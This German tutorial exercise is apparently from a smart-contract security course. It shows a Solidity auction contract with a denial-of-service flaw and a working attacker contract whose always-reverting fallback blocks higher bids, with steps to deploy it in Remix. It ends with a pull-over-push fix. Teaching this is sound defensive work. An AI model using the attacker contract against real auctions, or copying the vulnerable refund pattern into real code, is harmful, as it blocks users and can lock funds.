DoS

Published by Mario Oettler on

Gegeben ist folgender Smart Contract. Versuchen Sie zu verhindern, dass ein nachfolgender Nutzer ein höheres Gebot als Sie abgeben kann. Das Beispiel wurde von Consensys übernommen: https://consensys.github.io/smart-contract-best-practices/known_attacks/#dos-with-unexpected-revert

pragma solidity ^0.8.21;
 
contract Auction {
    address payable public currentLeader;
    uint public highestBid;
 
    function bid() payable public {
        require(msg.value > highestBid);
 
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
 
        currentLeader = payable(msg.sender);
        highestBid = msg.value;
    }
}

Lösung

Eine mögliche Schwachsteller ergibt sich beim Senden von Ether durch einen Smart Contract an einen anderen Smart Contract. Der empfangende Smart Contract könnte:

  1. eine Fallback-Funktion haben, die ständig eine Exception wirft
  2. zu wenig Gas bekommen und daher eine Exception werfen

Wir nutzen hier die erste Variante. Diese finden Sie auch in folgender Datei: 05_DoS_Exploit.txt.

contract DoSAttacker{
    
    address payable vAdress = payable(0x358AA13c52544ECCEF6B0ADD0f801012ADAD5eE3); // Adresse des anzugreifenden Smart Contracts eintragen.
    uint256 public amount = 600;
    
    constructor() payable{
        
    }
    
    function makeBid() public{
        vAdress.call{value: amount}(abi.encodeWithSignature("bid()")); 
    }
    
    fallback() external payable {
        revert();
    }
}

 Die Fallback-Funktion wirft mit revert() bei jedem Aufruf eine Exception.

  • Kopieren Sie den Code in eine neue Datei der Remix-IDE
  • Tragen Sie die Adresse des Opfer-Contracts ein.
  • Deployen Sie den Angreifer-Smart Contract und geben Sie etwas Guthaben mit (>=600 wei)
  • Rufen Sie die Funktion bid im Angreifer Smart Contract auf.
  • Prüfen Sie, im Opfer-Contract, ob das Gebot richtig erfasst wurde
  • Führen Sie nun von einem EOA ein höheres Gebot aus. Es sollte eine Fehlermeldung in der Debug-Konsole erscheinen. Das höchste Gebot und die Adresse des höchsten Bieters sollten sich nich geändert haben.

Schutz

  • Traue niemals externem Code!
  • Pull statt Push!
  • Der DoS-sichere Contract sieht so aus. Diesen finden Sie auch in folgender Datei: 05_DoS_Schutz.txt
pragma solidity ^0.8.21;

contract DoS_Save {
    // Nutz das Pull over Push pattern
    mapping(address => uint) public allowances;
    address payable public currentLeader;
    uint public highestBid;
    
    function bid() payable public { // Setzt nur den neuen Höchstbietenden + Betrag des höchsten Gebots
        require(msg.value > highestBid);
        allowWithdraw(currentLeader, highestBid);
        
        currentLeader = payable(msg.sender);
        highestBid = msg.value;  
    }


    function allowWithdraw(address receiver, uint amount) private {
        allowances[receiver] += amount;
    }

    function withdrawFunds() public {
        
        // Check Effect Interaction Pattern siehe Re-Entrancy
        uint amount = allowances[msg.sender];
        
        // Check
        require(amount != 0); 
        require(address(this).balance >= amount);
        
        // Effect
        allowances[msg.sender] = 0;
        
        // Interaction
        payable(msg.sender).transfer(amount);
    }
}

Probieren Sie es aus. Der DoS-Save contract lässt sich nicht blockieren.

Categories: